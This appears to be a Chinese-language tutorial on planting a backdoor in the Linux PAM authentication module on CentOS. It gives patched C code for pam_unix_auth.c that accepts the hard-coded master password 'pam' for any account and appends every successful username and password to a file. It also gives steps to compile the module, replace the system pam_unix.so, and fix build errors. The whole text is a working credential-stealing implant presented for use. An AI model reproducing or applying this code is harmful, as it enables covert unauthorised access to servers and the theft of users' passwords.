测试环境:Centos 6.2 64位
0x01:查询本机的PAM版本
下载地址:
http://www.linux-pam.org/library/
https://fedorahosted.org/releases/l/i/linux-pam/
下载对应的版本
对原有的文件进行备份
0x02:修改源文件
修改pam_unix_auth.c
添加万能密码
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
//万能密码
if(strcmp(p,”pam”)==0)
{
retval = PAM_SUCCESS;
}
//存储密码的地方
if(retval== PAM_SUCCESS)
{
fp=fopen(“pam.txt”,”a”);
fprintf(fp,”%s::%s ”,name,p);
fclose(fp);
}
./configure
make
在Linux-PAM-1.1.1/modules/pam_unix/.libs中的pam_unix.so就是后门文件
对/lib64/security中的文件进行替换
0x03测试后门
成功登录,并且记录密码,证明成功!
make过程中可能会出现一下问题:
0x01:
根据提示的文件路径,在里面定义
#define yywrap() 1
0x02:
在PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags,int argc, const char **argv)
中定义
FILE *fp;